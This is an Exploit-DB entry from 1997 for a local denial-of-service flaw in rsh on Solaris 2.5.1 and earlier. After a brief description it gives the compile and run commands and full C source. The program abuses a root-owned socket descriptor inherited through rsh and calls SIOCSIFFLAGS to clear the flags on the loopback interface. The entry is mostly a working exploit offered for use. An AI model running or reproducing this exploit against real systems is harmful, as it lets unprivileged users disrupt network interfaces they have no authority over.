Solaris <= 2.5.1 rsh socket descriptor Vulnerability

1997-06-19T00:00:00
ID EDB-ID:19343
Type exploitdb
Reporter Alan Cox
Modified 1997-06-19T00:00:00

Description

Solaris 2.5.1 rsh socket descriptor Vulnerability. Local exploit for solaris platform

                                        
                                            source: http://www.securityfocus.com/bid/453/info


A vulnerability in rsh exists that can allow a regular user to modify a root owned socket descriptor. The consequences of this are a possible denial of service due to interfaces being manipulated by malicious users. 


cc solarisuck.c -o solarisuck -lsocket
rsh localhost ./solarisuck

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solarisuck.c
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#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/sockio.h>
#include <net/if.h>
#include <netinet/in.h>


int main(int argc, char *argv[])
{
struct ifreq please_break_me;

strcpy( please_break_me.ifr_name, "lo0");
please_break_me.ifr_flags=0;

if(ioctl(0, SIOCSIFFLAGS, &please_break_me)==-1)
perror("Damn it didnt work. Obviously not Solaris ;)");
}